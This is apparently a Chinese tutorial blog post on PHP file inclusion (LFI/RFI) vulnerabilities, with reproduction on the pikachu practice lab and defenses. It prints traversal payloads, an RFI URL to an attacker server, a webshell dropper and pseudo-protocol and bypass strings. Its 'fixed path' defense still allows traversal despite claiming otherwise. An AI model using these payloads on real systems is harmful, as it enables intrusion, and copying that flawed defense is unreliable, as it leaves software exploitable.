文章目录
- 一、先搞懂:什么是文件包含?正常功能为啥会变漏洞?
-
- [1. 正常文件包含的作用(开发者的常用操作)](#1. 正常文件包含的作用(开发者的常用操作))
- [2. 漏洞形成的核心原因(3个关键条件缺一不可)](#2. 漏洞形成的核心原因(3个关键条件缺一不可))
- [二、两大核心分类:LFI本地文件包含 VS RFI远程文件包含](#二、两大核心分类:LFI本地文件包含 VS RFI远程文件包含)
-
- [1. LFI(Local File Inclusion)本地文件包含](#1. LFI(Local File Inclusion)本地文件包含)
-
- 核心利用场景:
- [关于 pikachu 靶场复现](#关于 pikachu 靶场复现)
- [2. RFI(Remote File Inclusion)远程文件包含](#2. RFI(Remote File Inclusion)远程文件包含)
-
- RFI启用条件(PHP环境):
- [关于 pikachu 靶场的复现](#关于 pikachu 靶场的复现)
- 三、实战必学:文件包含漏洞的常见利用与绕过技巧
-
- [1. 目录回溯绕过(../过滤绕过)](#1. 目录回溯绕过(../过滤绕过))
- [2. PHP伪协议利用(LFI高阶玩法)](#2. PHP伪协议利用(LFI高阶玩法))
- [3. 日志包含绕过(无上传情况下拿Shell)](#3. 日志包含绕过(无上传情况下拿Shell))
- 四、开发者必看:文件包含漏洞的终极防护方案
-
- [1. 白名单校验(最安全,首选方案)](#1. 白名单校验(最安全,首选方案))
- [2. 固定包含路径,禁止用户控制完整路径](#2. 固定包含路径,禁止用户控制完整路径)
- [3. 服务器层面加固](#3. 服务器层面加固)
- 五、核心总结:记住这几点,再也不怕文件包含漏洞
一、先搞懂:什么是文件包含?正常功能为啥会变漏洞?
1. 正常文件包含的作用(开发者的常用操作)
文件包含本身是Web开发的常规优化手段,目的是实现代码复用,减少重复编写。比如网站的头部、底部导航、数据库连接代码、公共函数库,都会单独写成一个文件,在需要的页面通过特定函数直接引入,不用每次都复制粘贴。
最常见的就是PHP环境下的文件包含,核心函数有4个,也是漏洞高发点:
-
include():引入文件,文件不存在时报警告,页面继续执行
-
include_once():仅引入一次,避免重复定义,报错逻辑同include
-
require():引入文件,文件不存在时报致命错误,页面直接终止
-
require_once():仅引入一次核心文件,报错逻辑同require
正常代码示例(无风险):
php
<?php
// 直接固定引入公共头部文件,路径不可修改
include 'header.php';
echo '页面主体内容';
include 'footer.php';
?>
2. 漏洞形成的核心原因(3个关键条件缺一不可)
正常包含没问题,一旦开发者图方便,把用户可控的参数直接作为文件包含的路径,且不做任何校验过滤,漏洞就诞生了!
文件包含漏洞核心成因:包含路径由用户前端参数控制 + 未做白名单/黑名单过滤 + 服务器直接执行包含操作
危险代码示例(漏洞根源):
php
<?php
// 直接接收用户GET传参,作为包含文件路径,无任何过滤
$file = $_GET['file'];
include $file;
?>
这段代码里,用户可以通过URL修改file参数的值,想包含什么文件就包含什么文件,服务器完全不校验,这就是最典型的文件包含漏洞。
二、两大核心分类:LFI本地文件包含 VS RFI远程文件包含
文件包含漏洞主要分为两类,利用方式和危害程度不同,新手一定要分清两者的区别和适用场景。
1. LFI(Local File Inclusion)本地文件包含
定义 :攻击者只能包含、读取目标服务器本地已经存在的文件,无法引入外部服务器的文件,是最常见、最容易遇到的文件包含类型。
核心利用场景:
-
读取服务器敏感文件:通过目录回溯(.../)跳出当前目录,读取系统配置、用户信息、数据库密码等核心数据
-
结合文件上传漏洞执行代码:上传图片马、文本马,再通过LFI包含执行,拿到Webshell
-
PHP伪协议利用:读取源码、执行命令、写入木马(无需文件上传)
常见敏感文件路径(Linux/Windows):
-
Linux:/etc/passwd(系统用户)、/etc/shadow(用户密码)、/var/log/apache2/access.log(日志文件)、/etc/hosts
-
Windows:C:\Windows\System32\drivers\etc\hosts、C:\Windows\repair\SAM、网站配置文件
关于 pikachu 靶场复现
LFI实战Payload示例:
Plain
http://xxx.com/include.php?file=../../../../etc/passwd
例如,在 pikachu 的靶场中,通过 file 输入 ../../../../../../WINDOWS/System32/drivers/etc/hosts,就会返回服务器的hosts文件信息。

2. RFI(Remote File Inclusion)远程文件包含
定义 :攻击者可以直接包含外部公网服务器上的恶意文件,让目标服务器主动加载并执行,危害极大,属于高危中的高危。
RFI启用条件(PHP环境):
-
php.ini中 allow_url_fopen = On(默认开启)
-
php.ini中 allow_url_include = On(默认关闭,需手动开启,现在主流环境都已禁用)
RFI实战Payload示例:
Plain
http://xxx.com/include.php?file=http://攻击者服务器/malicious.php
恶意文件malicious.php内容就是一句话木马,包含后直接执行,攻击者瞬间控制服务器。注意:目前大部分PHP环境都禁用了allow_url_include,所以RFI实战中很少见,LFI才是主流。
关于 pikachu 靶场的复现
1.在 kali 的 /var/www/html/ 文件夹下新建一个 txt 文件,主要放一句话木马
txt
<?php
$myfile = fopen ("shell.php" , "c");
$txt = '<?php system($_GET["cmd"]); ?>';
fwrite($myfile,$txt);
fclose($myfile);
?>
2.开启 kali 的 apache 的服务,systemctl restart apache2.service,确保生成的 txt 木马文件能够让靶机访问到。
3.在网页中,将 url 进行替换,主要是替换 url 中 filename 的值http://kali的ip地址/shell.txt

如果不报错则表示正常。
4.访问http://192.168.0.20/pikachu/vul/fileinclude/shell.php?cmd=whoami,会返回靶机的相关信息。

三、实战必学:文件包含漏洞的常见利用与绕过技巧
1. 目录回溯绕过(.../过滤绕过)
很多开发者会简单过滤.../,但绕过方式超多,新手常用绕过Payload:
-
双写绕过:...//...//
-
URL编码绕过:%2e%2e%2f(.../的URL编码)
-
斜杠替换:...\(Windows环境)
2. PHP伪协议利用(LFI高阶玩法)
不用上传文件,直接通过伪协议实现读取源码、执行代码,是CTF和实战渗透的常用技巧:
-
php://filter:读取文件源码,核心用法 ?file=php://filter/read=convert.base64-encode/resource=index.php
-
php://input:POST传参执行代码,需配合POST请求
-
data://text/plain:直接执行PHP代码, ?file=data://text/plain,<?php phpinfo();?>
3. 日志包含绕过(无上传情况下拿Shell)
如果服务器开启日志记录,可通过访问URL写入恶意代码到日志文件,再包含日志文件执行代码,适合无法上传文件的场景。
四、开发者必看:文件包含漏洞的终极防护方案
修复文件包含漏洞,绝对不要靠黑名单过滤,黑名单很容易被绕过,正确防护一定要用以下方法,按优先级排序:
1. 白名单校验(最安全,首选方案)
提前定义好允许包含的文件列表,用户传参只能在白名单内选择,彻底杜绝任意文件包含:
php
<?php
// 定义允许包含的文件白名单
$allow_list = ['header.php','footer.php','home.php'];
$file = $_GET['file'] ?? '';
// 校验参数是否在白名单内
if(in_array($file, $allow_list)){
include $file;
}else{
die('非法请求');
}
?>
2. 固定包含路径,禁止用户控制完整路径
不要让用户控制完整路径,只允许用户传文件名,且强制拼接指定目录,禁止跨目录:
php
<?php
// 强制限定包含目录,用户只能传文件名
$base_dir = '/var/www/html/include/';
$file = $_GET['file'] ?? '';
// 拼接完整路径,禁止跳出目录
include $base_dir.$file.'.php';
?>
3. 服务器层面加固
-
PHP配置:保持 allow_url_include = Off,彻底禁用远程文件包含
-
设置open_basedir:限制PHP只能访问指定目录,禁止跨目录读取
-
关闭错误回显:避免泄露服务器路径信息
-
上传目录禁用脚本执行权限,防止图片马被直接执行
五、核心总结:记住这几点,再也不怕文件包含漏洞
漏洞核心速记:
1. 本质:用户可控路径 + 无过滤 = 文件包含漏洞
2. 分类:LFI(本地,常见)、RFI(远程,高危,少见)
3. 危害:读取敏感数据、执行恶意代码、拿下服务器
4. 修复:白名单优先,固定路径,禁用远程包含
文件包含漏洞看似简单,实则暗藏很多细节和绕过技巧,不管是渗透测试人员还是后端开发者,都必须掌握。开发者要养成安全编码习惯,杜绝用户可控的动态包含路径;渗透新手要多练LFI的伪协议、日志包含等实战技巧,快速提升实战能力。